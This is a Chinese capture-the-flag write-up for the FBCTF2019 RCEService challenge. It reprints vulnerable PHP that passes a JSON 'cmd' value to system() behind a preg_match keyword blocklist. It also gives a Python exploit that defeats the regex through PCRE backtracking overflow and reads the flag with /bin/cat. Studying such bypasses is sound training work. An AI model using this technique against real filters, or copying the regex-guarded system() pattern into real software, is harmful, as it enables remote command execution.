[FBCTF2019]RCEService

参考链接

https://blog.csdn.net/qq_38783875/article/details/85288671

https://www.xd10086.com/posts/8714273075404737949/

考查 : preg_match() 回溯溢出绕过

 

rceservice

题目描述:

We created this web interface to run commands on our servers, but since we haven't figured out how to secure it yet we only let you run 'ls'

http://challenges.fbctf.com:8085

(This problem does not require any brute force or scanning.
We will ban your team if we detect brute force or scanning).

要求用json格式传送payload

我们尝试ls{"cmd":"ls"}

题目源码:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

暴躁过滤,在线砍人
但是我们看到了preg_match,就会想到p神曾经提到的PRCE,利用如下的exp:

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)

另一种方法,同样是preg_match的问题,由于它会努力去匹配第一行,所以我们可以利用多行的方法

尝试直接cat,但是返回了空白
我们返回去查看源代码:putenv('PATH=/home/rceservice/jail');,jail应用于当前环境,又根据题目描述的提示--“只允许执行ls命令”,即jail包含了执行ls的二进制文件,所以我们可以直接拉出cat的路径:"cmd": "/bin/cat /home/rceservice/flag"

注:Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

posted @ 2020-02-13 19:33  NBBack  阅读(728)  评论(1编辑  收藏  举报